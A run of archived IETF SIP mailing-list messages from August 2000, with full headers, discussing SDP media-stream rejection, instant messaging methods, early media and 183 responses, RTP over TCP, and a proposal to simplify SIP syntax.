Hisham.Khartabil@lmf.ericsson.se, sip@lists.bell-labs.com Subject: Re: [SIP] A query on SIP call flow References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit You would send a 200 OK, the body of that response would contain your capabilities. Hisham rahul pande wrote: > >rahul pande wrote: > > > > > hello all, > > > I had a query regarding a call flow in SIP. The caller sends me a > >recvonly > > > request for a unicast session which i want to reject, how do i reply to > >his > > > request : > > > The request which i have received is as follows : > > > > > > CALLER : > > > INVITE.... > > > .......... > > > > > > v=0 > > > .......... > > > m=audio 3241 rtp/avp 0 > > > a=recvonly > > > m=vedio 3245 rtp/avp 1 > > > > > > I want to reject his first media stream, can someone please tell me what > > > will be the response. > > > > > > Thanking you all, > > > rahul > > > _ > > Hishab wrote: > > > >I would suggest 403 Forbidden response (server understands the request but > >refuses to fulfill it), or 415 Unsupported Media type. I would go for 403. > > > >Regards, > >Hisham > > Hi, I don't want to reject the whole message but only the first media > stream, I'm still accepting the second media stream. > regards, > rahul > _______________________________________________________________________ > > > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > > >_______________________________________________ > >SIP mailing list > >SIP@lists.bell-labs.com > >http://lists.bell-labs.com/mailman/listinfo/sip > > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 06:14:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25997 for ; Fri, 18 Aug 2000 06:14:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D667844389; Fri, 18 Aug 2000 06:13:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f88.law7.hotmail.com [216.33.237.88]) by lists.bell-labs.com (Postfix) with ESMTP id BB4C344339 for ; Fri, 18 Aug 2000 06:13:27 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 18 Aug 2000 03:13:26 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 18 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: archow@hss.hns.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Instant Messaging.... Date: Fri, 18 Aug 2000 10:13:26 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Aug 2000 10:13:26.0970 (UTC) FILETIME=[F319A9A0:01C008FC] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Message received : >How does it solve instant messaging, by simply registering an IANA >port >and specifying m= line as you say ? >Which method do you send it in ? Where do you encapsulate the actual >text >? Sir,I was refering to the INVITE method only. >Would you want to overload INVITE yet again ? (also invite requires the >INV-OK-ACK negotiation cycle - doesnt make >sense for an IM message going forward) Sir,Its only the initial call setup overhead just like for any other media communication, but once they have agreed to the media type then only the tcp connection will be there over which chunk of data will be passed. In this case you require to use the parsers processing the SIP headers initially only, just like any other RTP request, but later we will just have data sent over a tcp connection. >Other methods like INFO , BYE etc already have a specific application . >(Actually the way it seems to be going now is that INFO is so generic >that >it doesnt seem to be used much at all !:-p !) >I would say MESSAGE (Its a method, not a header) is still very much >required. >There are other advantages of using a different method (one is proxies >who >do not support IM can simply return "Method not supported" >whenever a >MESSAGE comes across, instead of >trying to decipher if it was a method >it allowed, which is encapsulating an IM behaviour - etc. ) See the impp >drafts for more details. Sir, It can de detected otherwise also by seeing the m= line in the session description. Okay ur right that with the MESSAGE header it will be instantaneous but don't u think that things like 'chat' can be handled at the SDP level(with TCP) rather than increasing complexity at the SIP level In the instant messaging case a text/plain message will always be accompanied by a MESSAGE method (Please correct me if i'm wrong). So in this scenario everytime we receive this request we need to do the whole SIP processing (like parsing, generating headers for 200OK etc..), but with the "m=text tcp plain" line in SDP in an INVITE request will require the SIP processing(just like above) only initially but later no SIP processing is required and simple data will be sent over the tcp connection which has been established. > >Regds >Arjun > >-- >Arjun Roychowdhury @ Hughes Software Systems > Sir, Its just an idea which has cropped up in my mind and i feel u people are experienced enough to help me clear my views so please reply to my query. Thanking You, Rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 06:27:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26042 for ; Fri, 18 Aug 2000 06:27:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3CA0944366; Fri, 18 Aug 2000 06:26:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f169.law7.hotmail.com [216.33.237.169]) by lists.bell-labs.com (Postfix) with ESMTP id 4331044338 for ; Fri, 18 Aug 2000 06:26:40 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 18 Aug 2000 03:26:38 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 18 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: hisham.khartabil@lmf.ericsson.se, panderahul@hotmail.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] A query on SIP call flow Date: Fri, 18 Aug 2000 10:26:38 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Aug 2000 10:26:38.0976 (UTC) FILETIME=[CB2C3000:01C008FE] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com >rahul pande wrote: > > > >rahul pande wrote: > > > > > > > hello all, > > > > I had a query regarding a call flow in SIP. The caller sends me a > > >recvonly > > > > request for a unicast session which i want to reject, how do i reply >to > > >his > > > > request : > > > > The request which i have received is as follows : > > > > > > > > CALLER : > > > > INVITE.... > > > > .......... > > > > > > > > v=0 > > > > .......... > > > > m=audio 3241 rtp/avp 0 > > > > a=recvonly > > > > m=vedio 3245 rtp/avp 1 > > > > > > > > I want to reject his first media stream, can someone please tell me >what > > > > will be the response. > > > > > > > > Thanking you all, > > > > rahul > > > > _ > > > > Hishab wrote: > > > > > >I would suggest 403 Forbidden response (server understands the request >but > > >refuses to fulfill it), or 415 Unsupported Media type. I would go for >403. > > > > > >Regards, > > >Hisham > >rahul wrote : > > Hi, I don't want to reject the whole message but only the first media > > stream, I'm still accepting the second media stream. > > regards, > > rahul > > >Hisham wrote : >You would send a 200 OK, the body of that response would contain your >capabilities. > >Hisham > hi, It might sound silly but can u tell me exactly how should i respond to the request, it will be a 200OK response and i should have one to one mapping "m=" lines in that case what will be the contents of my first "m=" line in the example specified above. Thanking you, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 06:56:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26247 for ; Fri, 18 Aug 2000 06:56:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EBB2344359; Fri, 18 Aug 2000 06:55:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id DD75044338 for ; Fri, 18 Aug 2000 06:55:45 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7IAtiw06639 for ; Fri, 18 Aug 2000 12:55:44 +0200 (MEST) Received: from esealnt409 ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2172.1); Fri, 18 Aug 2000 12:55:20 +0200 Received: from esealnt743.al.sw.ericsson.se ([153.88.251.13]) by esealnt409 (NAVIEG 2.1 bld 61) with SMTP id M2000081812551811261 for ; Fri, 18 Aug 2000 12:55:20 +0200 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Fri, 18 Aug 2000 12:55:31 +0200 Message-ID: <56E7307B0850D411B1480008C75DD5EAB73C5D@enlrynt303.dsn.ericsson.se> From: "Arnoud van Wijk (ETM)" To: "'SIP'" Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Fri, 18 Aug 2000 12:54:03 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" X-OriginalArrivalTime: 18 Aug 2000 10:55:20.0265 (UTC) FILETIME=[CD240B90:01C00902] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Jonathan.. thou art the master! :-) I am seriously looking at SIP and charging. I think that your proposed idea for method #3 looks quite doable. This will only work if this header is mandatory..else the SIP proxy has no idea WHEN to start the charging timer. Maybe a good idea to have this header X-Media (maybe call it Charging-Flag?) This would then look like: Charging-Flag = "Charging-Flag" ":" flag flag = "off"|"standby"|"on" Session timer timeout or a BYE/CANCEL will indicate end of session and thus end of charging. An advantage is that it is possible at a later time to give the option NOT to charge for a session (flag = "off"). This will enable flatrate or free calling for certain sessions..like text only sessions for deaf callers (after all..text is not really that resource hungry compared to video and speech). My 2 Euro cents. Arnoud _______________________________________________________________ ERICSSON TELECOMMUNICATIE BV Arnoud van Wijk ABACUS Lab Research & Development Fax: +31-161 247569 _______________________________________________________________ -----Original Message----- From: Marc Petit-Huguenin [mailto:petithug@NetergyNet.COM] Sent: Thursday, August 17, 2000 4:31 PM To: Jonathan Rosenberg Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Jonathan Rosenberg wrote: > > This is a really good issue. Thanks for bringing it up. > > Seems like there are really just three possibilities: > > 1. punt this problem; you can't change the parameters before the call is > setup > 2. allow reinvites before the 200 OK to change the parameters > 3. don't allow early media - send a 200 OK for this instead > > None of these are ideal. (2) worries me, as it introduces additional > complexity which I fear will have interactions with other things. (3) is > somewhat appealing, allowing us to return to the simpler model SIP > orginally had. However, people claimed this had nasty interactions with > billing systems and PSTN interworking. I wonder if we can't revisit this > and see if those issues could be resolved some other way? > > -Jonathan R. In my understanding of SIP, this issue is not really related to 183 messages. The end of section 4.2.1 states that "A UAC MUST be prepared to receive media data according to the session description as soon as it sends an INVITE...". I cannot find a symmetrical sentence for UAS in the draft, something like "A UAS MAY send media data according to the session description as soon it receives an INVITE...". If this is true, then the caller can receive data media without receiving a SDP (which will may be used for sending media data). (1) works, we have just to discard data media received if the UAC is in hold state (and the UAC can use another RTP port pair to establish another call). But what if the INVITE is forked - In this case we can receive multiple data media on the same port. I agree that (2) complicates things. For (3), perhaps we can change the 4.2.1 section to state that media data can be send (and receive) only when a 200 OK is receive (send), forbidding SDP on provisional responses and adding a header to signal the "billed" part of the call, so we can imagine the following call flow: UAC UAS PSTN | INVITE F1 | | |------------------------>| SETUP | | |------------------------>| | 100 Trying F2 | | |<------------------------| CALL PROCEEDING | | |<------------------------| | | ALERT OR PROGRESS | | |<------------------------| | 200 OK F3 | | |<------------------------| | | ACK F4 | | |------------------------>| | | | CONNECT | | |<------------------------| | INVITE F5 | | |<------------------------| CONNECT ACK | | |------------------------>| | 200 OK F6 | | |------------------------>| | | ACK F7 | | |<------------------------| | Message details F1 INVITE INVITE sip:6540875@207.82.37.28 SIP/2.0 Content-Type: application/sdp To: sip:6540875@207.82.37.28 From: Anonymous Via: SIP/2.0/UDP 207.82.37.67 Content-Length: 116 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 INVITE Supported: com.netergynet.media v=0 o=- 967711854878 967711854878 IN IP4 207.82.37.67 s=- c=IN IP4 207.82.37.226 t=0 0 m=audio 8000 RTP/AVP 0 F2 100 Trying SIP/2.0 100 Trying Via: SIP/2.0/UDP 207.82.37.67 From: Anonymous To: sip:6540875@207.82.37.28 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 INVITE Content-Length: 0 Supported: com.netergynet.media F3 200 OK SIP/2.0 200 OK Via: SIP/2.0/UDP 207.82.37.67 From: Anonymous To: sip:6540875@207.82.37.28;tag=601718-1330 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 Contact: CSeq: 965506497 INVITE Content-Type: application/sdp Content-Length: 134 Supported: com.netergynet.media X-Media: Alerting v=0 o=- 3295 7550 IN IP4 207.82.37.28 s=- c=IN IP4 207.82.37.28 t=0 0 m=audio 20698 RTP/AVP 0 F4 ACK ACK sip:6540875@207.82.37.28 SIP/2.0 To: sip:6540875@207.82.37.28;tag=601718-1330 From: Anonymous Via: SIP/2.0/UDP 207.82.37.67 Content-Length: 0 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 ACK Supported: com.netergynet.media F5 INVITE INVITE sip:+5120@207.82.37.67 SIP/2.0 Content-Type: application/sdp To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Content-Length: 116 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506498 INVITE Supported: com.netergynet.media X-Media: Connect v=0 o=- 967711854878 967711854878 IN IP4 207.82.37.67 s=- c=IN IP4 207.82.37.226 t=0 0 m=audio 8000 RTP/AVP 0 F6 200 OK SIP/2.0 200 OK To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506498 INVITE Content-Type: application/sdp Content-Length: 134 Supported: com.netergynet.media v=0 o=- 3295 7550 IN IP4 207.82.37.28 s=- c=IN IP4 207.82.37.28 t=0 0 m=audio 20698 RTP/AVP 0 F7 ACK ACK sip:6540875@207.82.37.28 SIP/2.0 To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Content-Length: 0 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506498 ACK Supported: com.netergynet.media With the header X-Media (to be renamed) : X-Media = "X-Media" ":" media-type media-type = "Alert" | "Progress" | "Connect" > > Jean-Hugues ROBERT wrote: > > > > Hi, > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > > can I put a call on hold when I hear a remotely generated ringback tone ?" > > > > Much longer form: > > > > It is generaly agreed that making Media and Signaling distinct is a good > > thing. Amoung other benefit it enables decomposed architectures and more > > generaly support the locality of concern principle. > > > > A prime example of this distinction is SDP usage in SIP. SIP is basically > > concerned by Signaling whereas SDP is about Media. > > > > Signaling is mainly about setting up and tearing down communications. Media > > is mainly about payload formats and destinations. > > > > It is my understanding that, prior to 183 Session Progress, Media data > > started to flow only after INVITE's 200 OK final response was received or > > acknowledged (depending on side). > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > using re-INVITE. Callee could ask Caller "Please now handle Media according > > to this new SDP". Caller could do the same. This was fine. > > > > However, since 183 Provisionnal response was introduced, as well as other > > new occasions to change SDPs during call setup, Media can start to flow > > well before 200 OK, or even in the total absence of 200 OK. > > > > This may introduce an issue regarding control of Media, during the setup phase: > > Callee can still ask Caller "Please now handle Media according to this > > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > > ask Callee to change Media any more. > > > > To be fully accurate, it seems that Caller could still ask Callee to change > > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > > first. Is SDP legal in PRACK's ack message ? > > > > So my question is: "In the presence of Early Media, how can a Caller ask a > > Callee to handle Media according to a new SDP when Caller's INVITE > > transaction is still not completed ?". > > > > One potential solution could be to allow re-INVITE while the "main" INVITE > > is still not completed. It is illegal today. This would introduce > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > > of nested transaction, isn't it ? > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > The Caller would have the rigth to send it to the Callee, potentially only > > in the presence of Early Media. But that seems weird, because it is a > > reponse without a question. > > > > If you are guessing "why the hell does this matter ?", please think of > > potential restrictions if Media cannot change while call is beeing setted up. > > > > One example related to mobility (probably not 100% relevant, not a thread > > to SIP for Mobility): > > Lets say I have a decomposed cheap wireless IP phone: > > - The expensive UA has a fixed IP address and a full featured SIP stack > > with a fancy Java user application, it handles multiple phones. > > - The cheap phones have no fixed IP addresses, a very ligth > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > > the UA. > > Whenever the phone's IP address changes, the UA will change the Media of > > the involved SIP calls, if any. > > > > Now the issue: What if the phone moves while receiving Early Media (say > > remote ringback tone) ? UA need to tell the Callee about the Calling > > phone's new IP address. How ? > > > > Other, simplier, issues: How do I put a call on hold when I am listening to > > some network generated annoucement ? How can an assistant, dialing on > > behalf of the boss, transfer the ringing call to the boss when ringback > > tone is generated remotely ? > > > > Any previous art in solving this issue (if it is actually an issue) ? > > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > > solved ? > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > Early Media and have a 200 OK as soon as media is there (with probably some > > hints that the call/session is not "fully" established). Some yet to define > > "INFO Session Progress" could later on indicate how the call is > > progressing. This has the merit of beeing compatible with existing > > implementations. > > > > Jean-Hugues Robert > > --------------------------------------------------------------------------- > > "Fix Bugs First" > > Sophia General Manager. > > mailto:jhr@netergynet.com - We serve providers - "Think globally. > > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@8x8.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 09:18:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27574 for ; Fri, 18 Aug 2000 09:18:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6CB7D4435B; Fri, 18 Aug 2000 09:18:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id EB1C844338 for ; Fri, 18 Aug 2000 09:18:00 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13Pm21-0002Ix-00; Fri, 18 Aug 2000 09:17:57 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id JAA10567; Fri, 18 Aug 2000 09:11:11 -0400 (EDT) Message-Id: <4.3.2.7.2.20000818084420.00d47740@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Aug 2000 09:18:34 -0400 To: Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <399CA73A.735A8C06@dynamicsoft.com> References: <4.3.2.7.2.20000817104314.00d969e0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:02 PM 8/17/00 -0400, Jonathan Rosenberg wrote: >I think it could work in several ways. You could have both directions of >RTP over the same TCP connection, along with the RTCP, or over two >connections. Does anyone know of any legacy systems that work this way? If there isn't RTP/TCP code that already picks a strategy, then it seems like this should be nailed down to one approach or the other. If we're going to insist that implementors have the flexibility to choose (far be it for me to demand less flexibility :-) ) then at the very least there must be a way for SDP to describe the approach being used. I can think of at least three ways to arrange the streams: a) Each media stream has two TCP connections: one to send the media using RTP/AVP packets, and one to return RTCP packets. A bidirectional media session would therefore consist of four (!) TCP connections, each being used unidirectionally. b) Each media stream has a single TCP connection: one side of the connection sends the media using RTP/AVP packets, the other side returns the RTCP packets. A bidirectional media session would therefore consist of two TCP connections, each connection mapping to one media direction. c) A bidirectional media stream consist of two TCP connections: one connection contains the two RTCP streams and the other contains the two RTP/AVP media packets. I'm sure if you wanted to get pathological you could combine the above three baselines to arrive at even more permutations. Philosophically I like (b) the best, but I'll be the first to admit that my experience in this area is thin and I could see where (c) might be preferable. The first high-order bit to set is whether we are going to define a fixed approach to RTP/AVP-TCP or enumerate the stream-to-connection mappings and allow UAs to choose. I would argue that for interoperability purposes it would be wise to choose the former. Thoughts? David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 09:19:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27655 for ; Fri, 18 Aug 2000 09:19:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8750B4437A; Fri, 18 Aug 2000 09:18:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 37BC244373 for ; Fri, 18 Aug 2000 09:18:07 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13Pm20-0002In-00; Fri, 18 Aug 2000 09:17:56 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id JAA10564; Fri, 18 Aug 2000 09:11:08 -0400 (EDT) Message-Id: <4.3.2.7.2.20000818083432.00d7d1f0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Aug 2000 09:18:00 -0400 To: Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <399CA6C1.B0CAD181@dynamicsoft.com> References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:00 PM 8/17/00 -0400, Jonathan Rosenberg wrote: >These kinds of things have been hashed out endlessly on various IETF >mailing lists. It all comes down to this: designing protocols to meet >assumed policies of firewall administrators is a dangerous game. These >policies change all the time, and what works today may not work >tomorrow. At a philosophical level I agree that tap-dancing around firewalls is bound to get your toes stubbed eventually. Nevertheless, I still believe that my original assertion is true: reducing the footprint of the firewall pinhole tends to reduce the friction through the firewall. It's self-defeating to pass up an opportunity to gain some ground on the problem with the argument of "you may win the battle, but you'll never win the war." And like I said, firewalls are but one reason to allow SDP to describe TCP-based services that accept on a fixed port (interoperability with legacy TCP-based protocols comes to mind). It just seems like allowing (ALLOWING, *not* requiring) the initiator of the TCP connection to announce the source port is a potentially useful addition that isn't in the category of undue complexity in the protocol. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 09:30:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27787 for ; Fri, 18 Aug 2000 09:30:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 199B944373; Fri, 18 Aug 2000 09:29:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 0F86344339 for ; Fri, 18 Aug 2000 04:56:20 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7I8uJw15312 for ; Fri, 18 Aug 2000 10:56:19 +0200 (MEST) Received: from uabx04c411.uab.ericsson.se.uab.ericsson.se (uabx04c411 [134.138.229.171]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7I8uJT05481 for ; Fri, 18 Aug 2000 10:56:19 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c411.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id KAA20917; Fri, 18 Aug 2000 10:56:17 +0200 (MET DST) Message-ID: <399CFA30.67B6D80B@uab.ericsson.se> Date: Fri, 18 Aug 2000 10:56:16 +0200 From: Bertil Engelholm Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4m) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Simplify SIP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello, we would like to start a discussion about the possibility of making SIP more simple than today. We realize that it's a little late to make big changes in the protocol at this stage but the change we propose seems quite small. This proposal is our personal proposal and is not in any way reflecting the Ericsson point of view (not yet anyway). We feel that SIP today is unnecessary complex which costs time during development and testing of a SIP parser. It also cost execution time which we can see no reason for. Maybe there are historic reasons why SIP is specified as it is but since the specification does not explain this (which it shouldn't) we can't see the reason for certain constructions. We understand that HTTP has been a great influence when specifying SIP but we have not heard any explanation why. In general we think SIP allows too many optional ways of doing things. Each of these options cost development time, testing time and execution time in every SIP enabled product. And since some SIP UA most likely is small devices with limited processor power, memory size etc. it must be interesting to reduce the amount of code needed to parse the SIP messages. Every option also adds the possibility of introducing bugs which we noticed during the last bakeoff. So by making SIP more simple we think it will be easier to develop SIP enabled products with better quality in shorter time. This would at the end help spreading SIP even faster than today which we hope everyone is interested in doing (at least in this mail group). So what we basically suggest is that only the canonical representation should be used. All other formats should be depricated in the same way as the different ways of terminating the SIP-headers was depricated some time ago. In this way SIP will still be backwards-compatible since everyone has to be able to receive the canonical representation. It will just take some time for everyone to adapt their code so they only send out the canonical representation. After a while it's possible to make a new version of SIP that only allows the canonical form. Then it's up to everyone to decide if they want to support both SIP 2.0 as well as the new version or only the new version. According to the SIP specification (chapter 13.2 in rfc2543bis-01) the canonical representation restricts the SIP syntax in this way : * No short form header fields; * Header field names are capitalized as shown in the rfc; * No white space between the header name and the colon; * A single space after the colon; * Line termination with a CRLF; * No line folding; * No comma separated lists of header values; each must appear as a separate header; * Only a single SP between tokens, between tokens and quoted strings, and between quoted strings; no SP after last token or quoted string; * No LWS between tokens and separators, except as described above for after the colon in header fields; * The To and From header fields always include the < and > delimiters even if the display-name is empty. We can't see any problem in any of these restrictions. Some of them only restricts how many white space characters you are allowed to use so those restrictions can't be any problem to introduce. Why send extra spaces 